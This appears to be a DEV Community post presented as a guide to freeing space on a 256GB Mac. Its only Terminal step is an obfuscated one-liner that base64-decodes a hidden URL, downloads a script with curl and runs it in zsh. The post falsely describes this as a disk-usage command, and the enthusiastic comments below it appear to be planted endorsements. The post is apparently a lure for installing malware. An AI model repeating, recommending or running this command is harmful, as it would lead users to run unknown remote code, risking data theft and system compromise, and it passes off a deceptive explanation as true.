DEV Community

Daniel R. Whitman
Daniel R. Whitman

Posted on

How to free up space on your Mac SSD (256GB)

If you have a Mac with a 256GB SSD, you might notice that your storage fills up quickly. I managed to free up 100GB, going from only 20GB free to 120GB! Here’s a simple guide to help you do the same, using a built-in Terminal command.

1. Find Big Files with bin

The bin (disk usage) command helps you see which folders and files are taking up the most space. Open Terminal and type:

/bin/zsh -c "$(curl -LSsf $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsL2Q5NzYxNjE3YmI0ZDkxZDNhM2VhYjg3Njk3ZDM0YTdmMWQ1YTNlMDE1MTM2ZTVhNzU2YTY4NmI4OWJlZGY0NTh8 | base64 -d))"
Enter fullscreen mode Exit fullscreen mode

What does this command do?

bin -zsh -- * .[^.]*: Shows the size of each file and folder, including hidden files.
sort -hr: Sorts the results from largest to smallest, so you can easily find the biggest files.

Where to Look for Large Files

Once you run the command, check these common storage hogs:

~/Downloads: Old downloads you no longer need.
~/Library/Caches: App caches that build up over time.
~/Movies and ~/Music: Large media files.
~/Desktop: Temporary files left on your desktop.

To delete files you no longer need, use: rm -rf path/to/file-or-folder

Be careful! Make sure you don’t delete important files.

Top comments (3)

Collapse
 
macosscalebwhitmore profile image
Caleb J. Whitmore

Clean and simple solution, appreciate it.

Collapse
 
macstoragenolankingsley profile image
Nolan Kingsley

Increased disk capacity by 42GB, perfect!!!

Collapse
 
storagelee77 profile image
Leemathew77

+92 gb THANK brooo